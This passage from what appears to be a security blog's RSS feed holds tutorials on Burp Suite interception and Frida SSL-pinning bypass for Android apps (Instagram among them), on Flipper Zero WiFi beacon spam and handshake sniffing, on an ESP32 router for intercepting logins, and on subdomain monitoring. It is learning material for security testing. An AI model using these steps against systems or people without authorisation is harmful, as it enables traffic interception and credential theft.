<p><strong><code>echo</code></strong>: Takes the message as an argument and prints it to the standard output.</p>
<p><strong><code>read</code></strong>: Reads the input and assigns it to the variable.</p>
<p><strong><code>whoami</code></strong>: returns the current user’s username.</p>
<p><strong><code>su</code></strong>: substitute or switch user, execute commands with the privileges of another user, typically root.</p>
<p><strong><code>sudo</code></strong>: Super User Do, let&rsquo;s user run the command as root..</p>
<p><strong><code>mkdir</code></strong>: Make a new directory.</p>
<p><strong><code>cd</code></strong>: change directory.</p>
<p><strong><code>pwd</code></strong>: Print the current working directory.</p>
<p><strong><code>ls</code></strong>: List files and directories.</p>
<p><strong><code>export</code></strong>: Set the value for the environment variable.</p>
<p><strong><code>chown</code></strong>: change file ownership.</p>
<p><strong><code>ps</code></strong>: process status, get information about the currently running processes.</p>
<p><strong><code>htop</code></strong>: monitor system processes in real-time.</p>
<p><strong><code>crontab</code></strong>: view or edit <a href="https://man7.org/linux/man-pages/man8/cron.8.html">cron jobs</a>.</p>
<p><strong><code>kill</code></strong>: terminate processes manually.</p>
<p><strong><code>grep</code></strong>: search text patterns within files.</p>
<p><strong><code>sed</code></strong>: stream editor, used to edit text files, with its most common use being to replace occurrences of words in a files.</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://en.wikipedia.org/wiki/Unix">https://en.wikipedia.org/wiki/Unix</a></li>
<li><a href="https://en.wikipedia.org/wiki/Unix-like">https://en.wikipedia.org/wiki/Unix-like</a></li>
<li><a href="https://spectrum.ieee.org/the-strange-birth-and-long-life-of-unix">https://spectrum.ieee.org/the-strange-birth-and-long-life-of-unix</a></li>
<li><a href="https://en.wikipedia.org/wiki/Linux_kernel">https://en.wikipedia.org/wiki/Linux_kernel</a></li>
<li><a href="https://en.wikipedia.org/wiki/Kernel_(operating_system)">https://en.wikipedia.org/wiki/Kernel_(operating_system)</a></li>
<li><a href="https://en.wikipedia.org/wiki/History_of_Unix">https://en.wikipedia.org/wiki/History_of_Unix</a></li>
<li><a href="https://www.youtube.com/watch?v=ShcR4Zfc6Dw">https://www.youtube.com/watch?v=ShcR4Zfc6Dw</a></li>
<li><a href="https://www.youtube.com/watch?v=LKCVKw9CzFo">https://www.youtube.com/watch?v=LKCVKw9CzFo</a></li>
<li><a href="https://www.digitalocean.com/community/tutorials/an-introduction-to-linux-i-o-redirection">https://www.digitalocean.com/community/tutorials/an-introduction-to-linux-i-o-redirection</a></li>
<li><a href="https://www.freecodecamp.org/news/shell-scripting-crash-course-how-to-write-bash-scripts-in-linux/">https://www.freecodecamp.org/news/shell-scripting-crash-course-how-to-write-bash-scripts-in-linux/</a></li>
</ul>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Intercepting Android App Traffic with BurpSuite</title>
      <link>https://aftabsama.com/blog/intercepting-android-traffic-with-burpsuite/</link>
      <pubDate>Wed, 31 Jul 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/intercepting-android-traffic-with-burpsuite/</guid>
      <description>Intercept Android app traffic with BurpSuite and bypass SSL certificate pinning.</description>
      <content:encoded><![CDATA[<h2 id="setup-android-device--adb">Setup Android Device &amp; adb</h2>
<p>You can either use the actual Android device or an Android emulator.
Any Android emulator such as <a href="https://www.genymotion.com/product-desktop/">Genymotion</a> or <a href="https://developer.android.com/studio">Android Studio</a> will work.</p>
<p>You can download <a href="https://developer.android.com/tools/adb">adb</a> from <a href="https://developer.android.com/tools/releases/platform-tools#downloads">here</a>.</p>
<p>In the emulator, adb debugging is enabled by default. If you are using an Android device, you will need to <a href="https://developer.android.com/tools/adb#Enabling">enable adb debugging on your device</a>.</p>
<h2 id="convert-burpsuites-certificate-to-pem-format">Convert BurpSuites Certificate to PEM Format</h2>
<p>Once you have Burp running in the background, you can visit the <a href="http://127.0.0.1:8080/cert">proxy URL</a> to download the certificate.</p>
<p><img alt="Burp CA Certificate" loading="lazy" src="/blog/intercepting-android-traffic-with-burpsuite/images/image-1.webp"></p>
<p>After downloading the <code>cacert.der</code> BurpSuites certificate file, run the following <code>openssl</code> command to convert this certificate to PEM format.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">openssl x509 -inform der -in cacert.der -out burp.pem
</span></span></code></pre></div><p>Now we need to rename this file to the hash of the subject of the certificate. We can get that using the following command:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">openssl x509 -inform pem -subject_hash_old -in burp.pem | head -1
</span></span></code></pre></div><p><img alt="PEM Certificate" loading="lazy" src="/blog/intercepting-android-traffic-with-burpsuite/images/image-2.webp"></p>
<h2 id="installing-ca-certificate">Installing CA Certificate</h2>
<h3 id="installing-certificate-from-android-settings">Installing Certificate from Android settings</h3>
<p>To install the CA certificate on Android, go to settings and search for the certificate. Depending on the device, you should be able to see the option to install the certificate. <br>
Locate and install <code>burp.pem</code>, PEM format certificate file we previously converted.</p>
<p><img alt="install CA certificate on Android" loading="lazy" src="/blog/intercepting-android-traffic-with-burpsuite/images/image-6.webp"></p>
<h3 id="copying-the-certificate-to-android-device-using-adb">Copying the Certificate to Android device using adb</h3>
<p>First, ensure that your Android device appears in the <code>adb devices</code> command.</p>
<p><img alt="adb devices" loading="lazy" src="/blog/intercepting-android-traffic-with-burpsuite/images/image-3.webp"></p>
<p>We need to copy our <code>9a5ba575.0</code> file to the <code>/system/etc/security/cacerts/</code> directory on the Android device.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">adb push 9a5ba575.0 /system/etc/security/cacerts/
</span></span></code></pre></div><p><img alt="Read-only file system error" loading="lazy" src="/blog/intercepting-android-traffic-with-burpsuite/images/image-4.webp"></p>
<p>We get an error saying <code>Read-only file system</code>. To resolve this, We must remount to read-write .</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">adb shell mount -o remount,rw /system
</span></span></code></pre></div><p><img alt="remount,rw" loading="lazy" src="/blog/intercepting-android-traffic-with-burpsuite/images/image-5.webp"></p>
<p>If you are using Android Studio Emulator you need to start the AVD with <code>-writable-system</code> command argument.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">/home/aftab/Android/Sdk/emulator/emulator -list-avds
</span></span><span class="line"><span class="cl">/home/aftab/Android/Sdk/emulator/emulator -avd Pixel_6_Pro  -writable-system
</span></span></code></pre></div><h2 id="setup-proxy">Setup Proxy</h2>
<p>To configure the proxy settings in Android via GUI, you can follow <a href="https://proxyway.com/guides/android-proxy-settings">these</a> steps.</p>
<p>or you can use the gdb command to set and unset the proxy.</p>
<p>To set the proxy to <code>172.24.240.1:8080</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">adb shell settings put global http_proxy 172.24.240.1:8080
</span></span></code></pre></div><p>To unset the proxy:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">adb shell settings put global http_proxy :0
</span></span></code></pre></div><p>Change the burp proxy settings to listen on all the interfaces. After setting up the proxy, you should be able to see some traffic. To test this, you can open any HTTPS site on an Android browser, and you should see that traffic in Burp Suite.</p>
<p><img alt="HTTPS traffic" loading="lazy" src="/blog/intercepting-android-traffic-with-burpsuite/images/image-7.webp"></p>
<p>Now that we have installed a certificate and set up a proxy, we are able to view the HTTPS traffic for some apps, but not all. This is because certain applications use SSL pinning, which stops the app from recognizing our intercepting certificate as valid. As a result, we are unable to monitor the traffic between the application and the server.</p>
<h2 id="what-is-ssl-pinning">What is SSL Pinning</h2>
<p>SSL pinning is a security technique used on the client side to protect against man-in-the-middle attacks. It works by embedding(or pinning) a list of trusted certificates into the client application during development. <br>
At runtime, the server certificate is compared against the local copy of trusted certificates. If there is a mismatch, the connection is disrupted, preventing any user data from being sent to the server. This ensures that user devices only communicate with trusted, dedicated servers.</p>
<h2 id="bypassing-ssl-certificate-pinning-using-frida-requires-root">Bypassing SSL Certificate Pinning Using Frida (Requires Root)</h2>
<p>It is often possible to bypass certificate pinning in most applications within seconds, but only if the app uses the API functions that these tools cover. If the app implements SSL pinning using a custom framework or library, SSL pinning must be manually patched and deactivated, which can be a time-consuming process.</p>
<h3 id="installing-frida">Installing Frida</h3>
<p>To install <a href="https://github.com/frida/frida">Frida’s</a> CLI tools on PC using <code>pip</code>, run the following command:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">pip</span> <span class="n">install</span> <span class="n">frida</span><span class="o">-</span><span class="n">tools</span>
</span></span></code></pre></div><p>We also need to download Frida for Android. To download the frida server for Android, go to the <a href="https://github.com/frida/frida/releases/latest">release</a> page and download the suitable <code>frida-server-x.x.x-android-*</code> file.</p>
<p>To figure out which Android file to download, run the following command:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">adb shell uname -a
</span></span></code></pre></div><p><img alt="uname output-x86_64" loading="lazy" src="/blog/intercepting-android-traffic-with-burpsuite/images/image-8.webp"></p>
<p>For me, it will be <a href="https://github.com/frida/frida/releases/download/16.4.7/frida-server-16.4.7-android-x86_64.xz">frida-server-16.4.7-android-x86_64</a>.</p>
<h3 id="running-frida-on-an-android-device">Running Frida on an Android device</h3>
<p>After downloading the Frida server for Android, decompress it and run the following commands to run Frida on Android:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">adb push frida-server-16.4.7-android-x86_64 /data/local/tmp/
</span></span><span class="line"><span class="cl">adb shell &#34;chmod 755 /data/local/tmp/frida-server*&#34;
</span></span><span class="line"><span class="cl">adb shell &#34;/data/local/tmp/frida-server* &amp;&#34;
</span></span></code></pre></div><p>To verify Frida is running, run the command <code>frida-ps -U</code> on your PC to list the running processes in Android.</p>
<p><img alt="frida-ps output" loading="lazy" src="/blog/intercepting-android-traffic-with-burpsuite/images/image-9.webp"></p>
<h3 id="ssl-pinning-bypass-script">SSL Pinning Bypass Script</h3>
<p>Different apps utilize different methods to implement SSL pinning, so there is no one-size-fits-all solution. However, you can try the following general scripts:</p>
<h4 id="universal-android-ssl-pinning-bypass-with-frida">Universal Android SSL Pinning Bypass with Frida</h4>
<p>Download the <code>frida-android-repinning.js</code> file from <a href="https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/">here</a>.</p>
<p>Move the <code>burp.pem</code> file, which was previously <a href="#convert-burpsuites-certificate-to-pem-format">converted</a> from <code>cacert.der</code>, to <code>/data/local/tmp/cert-der.crt</code> on Android.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">adb push burp.pem /data/local/tmp/cert-der.crt
</span></span></code></pre></div><p>Use frida to run the <code>frida-android-repinning.js</code> code into the target application.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">frida -U -l frida-android-repinning.js -f com.test.app
</span></span></code></pre></div><h4 id="frida-multiple-unpinning">Frida Multiple Unpinning</h4>
<p>Download the <code>frida_multiple_unpinning.js</code> file from <a href="https://gist.githubusercontent.com/akabe1/5632cbc1cd49f0237cbd0a93bc8e4452/raw/ec5b598eb506de05d8bbb1f8f6cb85f4b6d8a190/frida_multiple_unpinning.js">here</a> or <a href="https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/">here</a>.</p>
<p>Use frida to run the <code>frida_multiple_unpinning.js</code> code into the target application.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">frida -U -l frida_multiple_unpinning.js -f com.test.app
</span></span></code></pre></div><h3 id="instagram-ssl-pinning-bypass-script">Instagram SSL Pinning Bypass Script</h3>
<p>To bypass SSL on the Instagram app, download the <a href="https://github.com/Eltion/Instagram-SSL-Pinning-Bypass/blob/main/instagram-ssl-pinning-bypass.js">instagram-ssl-pinning-bypass.js</a> script and run the following command:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">frida -U -l instagram-ssl-pinning-bypass.js -f com.instagram.android
</span></span></code></pre></div><p><img alt="instagram-ssl-pinning-bypass.js output" loading="lazy" src="/blog/intercepting-android-traffic-with-burpsuite/images/image-11.webp"></p>
<p><img alt="Instagram traffic" loading="lazy" src="/blog/intercepting-android-traffic-with-burpsuite/images/image-10.webp"></p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://www.youtube.com/watch?v=xp8ufidc514">https://www.youtube.com/watch?v=xp8ufidc514</a></li>
<li><a href="https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0012/">https://mas.owasp.org/MASTG/techniques/android/MASTG-TECH-0012/</a></li>
<li><a href="https://medium.com/@vaishalinagori112/9-different-ways-to-bypass-ssl-pinning-in-android-2d8c7f81b837">https://medium.com/@vaishalinagori112/9-different-ways-to-bypass-ssl-pinning-in-android-2d8c7f81b837</a></li>
<li><a href="https://frida.re/docs/android/">https://frida.re/docs/android/</a></li>
</ul>
<br>
<p>Thank you for reading this far. Happy hacking!</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Hacking WiFi with Flipper Zero and Marauder</title>
      <link>https://aftabsama.com/blog/hacking-wifi-with-flipper-zero-and-marauder/</link>
      <pubDate>Sun, 21 Jul 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/hacking-wifi-with-flipper-zero-and-marauder/</guid>
      <description>Install Marauder firmware on ESP32 and use it with Flipper Zero to Hack WiFi.</description>
      <content:encoded><![CDATA[<h2 id="install-marauder-firmware-on-esp32">Install Marauder firmware on ESP32</h2>
<p>The <a href="https://www.espressif.com/en/products/socs/esp32">ESP32</a> is a flexible microcontroller chip that supports WiFi and Bluetooth. It is commonly utilized in IoT (Internet of Things) projects because of its low cost, low power consumption, dual-core architecture, and wide range of networking possibilities.</p>
<p><a href="https://github.com/justcallmekoko/ESP32Marauder">Marauder</a> firmware is a suite of WiFi/Bluetooth offensive and defensive tools designed for use with the ESP32.</p>
<p>To install the Marauder firmware on the ESP32, there are multiple options available. As described in the GitHub repository by <a href="https://github.com/justcallmekoko">justcallmekoko</a>, We have the blue pill and red pill available, which you can check out <a href="https://github.com/justcallmekoko/ESP32Marauder/wiki/flipper-zero#firmware-install-options">here</a>.</p>
<h3 id="flashing-the-marauder-firmware">Flashing the Marauder firmware</h3>
<p>For flashing Marauder firmware on the ESP32, we will use the <a href="https://github.com/SkeletonMan03/FZEasyMarauderFlash">FZEasyMarauderFlash</a> Python script, which is the easiest option. You can follow the instructions in this <a href="https://github.com/SkeletonMan03/FZEasyMarauderFlash">GitHub repo</a>.</p>
<h2 id="connecting-esp32-to-flipper-zero">Connecting ESP32 to Flipper Zero</h2>
<p>For this example, I am using the <a href="https://github.com/Next-Flip/Momentum-Firmware">Momentum</a> firmware in my Flipper Zero. <br>
Additionally, all the Flipper Zero related files can be found in <a href="https://github.com/UberGuidoZ/Flipper">this</a> GitHub repository.</p>
<h3 id="gpio-pins-connection">GPIO pins connection</h3>
<p>To connect the ESP32 to the Flipper Zero using GPIO pins, we will need four jumper wires that will be connected to the <code>3V3</code>, <code>GND</code>, <code>RX0</code>, and <code>TX0</code> GPIO pins.</p>
<p>It&rsquo;s important to note that the <code>RX</code> and <code>TX</code> labels are in reference to the device itself. Therefore, the <code>RX</code> from one device should be connected to the <code>TX</code> of the other, and vice versa.</p>
<table>
  <thead>
      <tr>
          <th style="text-align: center">ESP32</th>
          <th style="text-align: center"></th>
          <th style="text-align: center">Flipper Zero</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center"><code>3V3</code></td>
          <td style="text-align: center">→</td>
          <td style="text-align: center"><code>3V3</code></td>
      </tr>
      <tr>
          <td style="text-align: center"><code>GND</code></td>
          <td style="text-align: center">→</td>
          <td style="text-align: center"><code>GND</code></td>
      </tr>
      <tr>
          <td style="text-align: center"><code>RX0</code></td>
          <td style="text-align: center">→</td>
          <td style="text-align: center"><code>TX</code></td>
      </tr>
      <tr>
          <td style="text-align: center"><code>TX0</code></td>
          <td style="text-align: center">→</td>
          <td style="text-align: center"><code>RX</code></td>
      </tr>
  </tbody>
</table>
<h2 id="wifi-attacks">WiFi Attacks</h2>
<p>WiFi attacks involve the active transmission of WiFi data from the ESP32 Marauder. WiFi packets are specially crafted to accomplish a specific transmission goal. The following attacks can be used by the ESP32 Marauder.</p>
<p>To access the Marauder in Flipper Zero goto: <code>Apps &gt; GPIO &gt; ESP &gt; WiFi Marauder</code>.</p>
<h3 id="rick-roll-beacon">Rick Roll Beacon</h3>
<p>In a Rick Roll Beacon attack, specially crafted beacon frames are transmitted. This causes the lyrics of &ldquo;Never Gonna Give You Up&rdquo; to display in the network lists of devices in range of the transmission.</p>
<p><a href="https://www.youtube-nocookie.com/embed/35KG0rjKFFI">https://www.youtube-nocookie.com/embed/35KG0rjKFFI</a></p>
<h3 id="beacon-spam">Beacon Spam</h3>
<p>In the beacon spam attack, the ESP32 broadcasts beacon frames for each SSID contained within its list of SSIDs. We can add SSIDs to the list, or we can generate random names.</p>
<p><a href="https://www.youtube-nocookie.com/embed/zKtVT1SYAVQ">https://www.youtube-nocookie.com/embed/zKtVT1SYAVQ</a></p>
<h3 id="sniff-eapolpmkid">Sniff EAPOL/PMKID</h3>
<p>Using Marauder, we can sniff the Wi-Fi packets and capture the four-way Wi-Fi handshakes. To do that, we will capture all the raw packets.</p>
<p><a href="https://www.youtube-nocookie.com/embed/2aMRRhJw0Tk">https://www.youtube-nocookie.com/embed/2aMRRhJw0Tk</a></p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/justcallmekoko/ESP32Marauder">https://github.com/justcallmekoko/ESP32Marauder</a></li>
<li><a href="https://github.com/SkeletonMan03/FZEasyMarauderFlash">https://github.com/SkeletonMan03/FZEasyMarauderFlash</a></li>
<li><a href="https://www.youtube.com/watch?v=subLBPJ3IxU">https://www.youtube.com/watch?v=subLBPJ3IxU</a></li>
</ul>
<br>
<p>Thank you for reading this far. Happy hacking!</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Build a Hackable Router using ESP32</title>
      <link>https://aftabsama.com/blog/build-hackable-router-using-esp32/</link>
      <pubDate>Sat, 20 Jul 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/build-hackable-router-using-esp32/</guid>
      <description>Use ESP32 microcontroller chip to create a Wi-Fi network.</description>
      <content:encoded><![CDATA[<h2 id="what-is-esp32">What is ESP32</h2>
<p>The <a href="https://www.espressif.com/en/products/socs/esp32">ESP32</a> is a flexible microcontroller chip that supports Wi-Fi and Bluetooth. It is commonly utilized in IoT (Internet of Things) projects because of its low cost, low power consumption, dual-core architecture, and wide range of networking possibilities.</p>
<h2 id="esp32-nat-router">ESP32 NAT Router</h2>
<h3 id="usage-scenarios">Usage scenarios</h3>
<ol>
<li>Expand the range of an existing Wi-Fi network.</li>
<li>Establish an additional Wi-Fi network with a different SSID or password for guests or IoT devices.</li>
<li>Create a Wi-Fi network to intercept and analyze network traffic, including login information.</li>
<li>Create Wi-Fi honeypots for security testing.</li>
</ol>
<h3 id="prerequisite">Prerequisite</h3>
<ul>
<li>ESP32 microcontroller chip</li>
<li>Computer with Python installed</li>
<li><a href="https://github.com/espressif/esptool">esptool</a></li>
</ul>
<p>After installing <a href="https://www.python.org/downloads/">Python</a> on our machine, we can use <code>pip</code> to install the <a href="https://docs.espressif.com/projects/esptool/en/latest/esp32/">esptools</a>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">pip</span> <span class="n">install</span> <span class="n">esptool</span>
</span></span></code></pre></div><h4 id="installing-drivers">Installing Drivers:</h4>
<p>OS will attempt to install the necessary drivers for ESP32 automatically. If it fails, We can download <code>CP210x USB to UART Bridge VCP Drivers</code> from <a href="https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers?tab=downloads">here</a>.</p>
<p>Once the drivers are installed, after connecting the esp32 to your computer, We should be able to see it in the <code>Device Manager</code> for Windows.</p>
<p><img alt="ESP32 COM Port" loading="lazy" src="/blog/build-hackable-router-using-esp32/image/image-1.webp#center"></p>
<h3 id="flashing-esp32">Flashing ESP32</h3>
<p>Download the prebuild binaries from <a href="https://github.com/dchristl/esp32_nat_router_extended/releases/tag/v7.1.1">here</a>.</p>
<p>After downloading the pre-built binary from GitHub, unzip it and open a terminal in that directory. Then, run the following command to flash the ESP32.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">esptool write_flash 0x0 esp32nat_extended_full_v7.1.1.bin
</span></span></code></pre></div><details><summary markdown="span">Click to see Example Output</summary>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cmd" data-lang="cmd"><span class="line"><span class="cl">┌──PS(Jack@Sparrow)-[~\Downloads\esp32nat_extended_full_v7.1.1]
</span></span><span class="line"><span class="cl">└─$ esptool write_flash 0x0 esp32nat_extended_full_v7.1.1.bin
</span></span><span class="line"><span class="cl">esptool.py v4.7.0
</span></span><span class="line"><span class="cl">Found 1 serial ports
</span></span><span class="line"><span class="cl">Serial port COM3
</span></span><span class="line"><span class="cl">Connecting.....
</span></span><span class="line"><span class="cl">Detecting chip type... Unsupported detection protocol, switching and trying again...
</span></span><span class="line"><span class="cl">Connecting.....
</span></span><span class="line"><span class="cl">Detecting chip type... ESP32
</span></span><span class="line"><span class="cl">Chip is ESP32-D0WD-V3 (revision v3.1)
</span></span><span class="line"><span class="cl">Features: WiFi, BT, Dual Core, 240MHz, VRef calibration in efuse, Coding Scheme None
</span></span><span class="line"><span class="cl">Crystal is 40MHz
</span></span><span class="line"><span class="cl">MAC: cc:7b:5c:34:b6:08
</span></span><span class="line"><span class="cl">Uploading stub...
</span></span><span class="line"><span class="cl">Running stub...
</span></span><span class="line"><span class="cl">Stub running...
</span></span><span class="line"><span class="cl">Configuring flash size...
</span></span><span class="line"><span class="cl">Flash will be erased from 0x00000000 to 0x00158fff...
</span></span><span class="line"><span class="cl">Compressed 1413056 bytes to 788258...
</span></span><span class="line"><span class="cl">Wrote 1413056 bytes (788258 compressed) at 0x00000000 in 72.8 seconds (effective 155.2 kbit/s)...
</span></span><span class="line"><span class="cl">Hash of data verified.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Leaving...
</span></span><span class="line"><span class="cl">Hard resetting via RTS pin...
</span></span></code></pre></div></details>
<h3 id="setting-up-esp32-nat">Setting up ESP32 NAT</h3>
<p>After flashing the firmware into the ESP32, We should be able to see a wifi network named <code>ESP32_NAT_Router</code>.
<img alt="ESP32 Wi-Fi" loading="lazy" src="/blog/build-hackable-router-using-esp32/image/image-2.webp#center"></p>
<p>Connect to the <code>ESP32_NAT_Router</code> and visit the gateway IP in your browser.
<img alt="ESP32 Wi-Fi Gateway" loading="lazy" src="/blog/build-hackable-router-using-esp32/image/image-3.webp#center"></p>
<p><img alt="ESP32 Nat Router Config Page" loading="lazy" src="/blog/build-hackable-router-using-esp32/image/image-4.webp#center"></p>
<p>We don&rsquo;t yet have an internet connection. To achieve this, we have to set up an uplink WiFi network.
To do that, we require an SSID and password. <br>
We have the option to manually enter the SSID or utilize the Wi-Fi Scan feature to search for available Wi-Fi networks and use them.</p>
<p><img alt="SSID Scan" loading="lazy" src="/blog/build-hackable-router-using-esp32/image/image-5.webp#center">
<img alt="uplink Wi-Fi Settings" loading="lazy" src="/blog/build-hackable-router-using-esp32/image/image-6.webp#center"></p>
<p>Now the ESP32 is connected to the internet, and we can also modify the Wi-Fi&rsquo;s Mac address, SSID, and password.</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/dchristl/esp32_nat_router_extended">https://github.com/dchristl/esp32_nat_router_extended</a></li>
<li><a href="https://www.youtube.com/watch?v=41Lymi6rXA8">https://www.youtube.com/watch?v=41Lymi6rXA8</a></li>
</ul>
<p><strong>Here is the link to buy an ESP32 microcontroller chip.</strong></p>
<ul>
<li><a href="https://robu.in/product-category/iot-and-wireless/esp-wifi-module/">https://robu.in/product-category/iot-and-wireless/esp-wifi-module/</a></li>
<li><a href="https://robocraze.com/products/esp32-development-board">https://robocraze.com/products/esp32-development-board</a></li>
</ul>
<br>
<p>Thank you for reading this far. Happy hacking!</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Automate Subdomain Monitoring</title>
      <link>https://aftabsama.com/blog/automate-subdomain-monitoring/</link>
      <pubDate>Sun, 14 Jul 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/automate-subdomain-monitoring/</guid>
      <description>Set up an automated system to monitor and alert for newly discovered subdomains.</description>
      <content:encoded><![CDATA[<h2 id="tool-used">Tool used:</h2>
<ul>
<li><a href="https://github.com/projectdiscovery/notify">notify</a></li>
<li><a href="https://github.com/hakluke/haktrails">haktrails</a></li>
<li><a href="https://github.com/projectdiscovery/subfinder">subfinder</a></li>
<li><a href="https://github.com/tomnomnom/anew">anew</a></li>
</ul>
<p>We will use <code>haktrails</code> and <code>subfinder</code> for subdomain enumeration. You can also use other tools of your choice such as owasp-amass. Additionally, we will use <code>notify</code> to send notifications. <code>notify</code> can be configured to send results to various platforms including Slack, Discord, Telegram, Google Chat, Pushover, SMTP, and custom webhooks.</p>
<h2 id="configuration-file-setup">Configuration File Setup</h2>
<h3 id="haktrails">haktrails</h3>
<p>To use haktrails, you&rsquo;ll need to set up your <a href="https://github.com/hakluke/haktrails?tab=readme-ov-file#config-file">config file</a> containing your <a href="https://securitytrails.com/corp/api">SecurityTrails API key</a>.</p>
<p>It will give error that <code>Only business email addresses are allowed</code>, but you can simply use the temp mail and it will work.</p>
<h3 id="subfinder">subfinder</h3>
<p><code>subfinder</code> can be used immediately after installation, but many sources require API keys to work. To maximize output, you should register for API keys; many providers offer a free version with certain limitations.</p>
<p>Reference: <a href="https://docs.projectdiscovery.io/tools/subfinder/install#post-install-configuration">https://docs.projectdiscovery.io/tools/subfinder/install#post-install-configuration</a></p>
<h3 id="notify">notify</h3>
<p>To send the results using the <code>notify</code> tool, we must add the webhooks to the config file. You can find an example config file <a href="https://github.com/projectdiscovery/notify?tab=readme-ov-file#provider-config">here</a>.</p>
<h2 id="gathering-existing-subdomains">Gathering existing subdomains</h2>
<p>Before running the automation, make sure to first gather the existing subdomains and save them to a file. This way, when you run the final script, you will only receive notifications for any newly discovered domains. If you skip this step, you will be flooded with notifications for hundreds or thousands of subdomains. <br>
Here&rsquo;s the command you can run to gather the existing subdomains.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">subfinder -d target.com -silent -nc -all | tee all-subdomains.txt
</span></span></code></pre></div><h2 id="receive-notifications">Receive notifications</h2>
<p>To receive notifications for the newly discovered subdomain, we can use the following simple script. <br>
For Linux, here is the bash script.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="nv">domain</span><span class="o">=</span><span class="s2">&#34;target.com&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">file_name</span><span class="o">=</span><span class="s2">&#34;path/to/all-subdomains.txt&#34;</span>
</span></span><span class="line"><span class="cl">subfinder -d <span class="nv">$domain</span> -silent -nc -all <span class="p">|</span> tr <span class="s1">&#39;[:upper:]&#39;</span> <span class="s1">&#39;[:lower:]&#39;</span> <span class="p">|</span> anew <span class="nv">$file_name</span> <span class="p">|</span> notify -bulk -silent -provider discord
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$domain</span> <span class="p">|</span> haktrails subdomains <span class="p">|</span> tr <span class="s1">&#39;[:upper:]&#39;</span> <span class="s1">&#39;[:lower:]&#39;</span> <span class="p">|</span> anew <span class="nv">$file_name</span> <span class="p">|</span> notify -bulk -silent -provider discord
</span></span></code></pre></div><p>For Windows, here is the Powershell script.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$domain</span> <span class="p">=</span> <span class="s2">&#34;target.com&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$file_name</span> <span class="p">=</span> <span class="s2">&#34;path\to\all-subdomains.txt&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">subfinder</span> <span class="n">-d</span> <span class="nv">$domain</span> <span class="n">-silent</span> <span class="n">-nc</span> <span class="n">-all</span> <span class="p">|</span> <span class="nb">ForEach-Object</span> <span class="p">{</span> <span class="nv">$_</span><span class="p">.</span><span class="py">ToLower</span><span class="p">()</span> <span class="p">}</span> <span class="p">|</span> <span class="n">anew</span> <span class="nv">$file_name</span> <span class="p">|</span> <span class="n">notify</span> <span class="n">-bulk</span> <span class="n">-silent</span> <span class="n">-provider</span> <span class="n">discord</span>
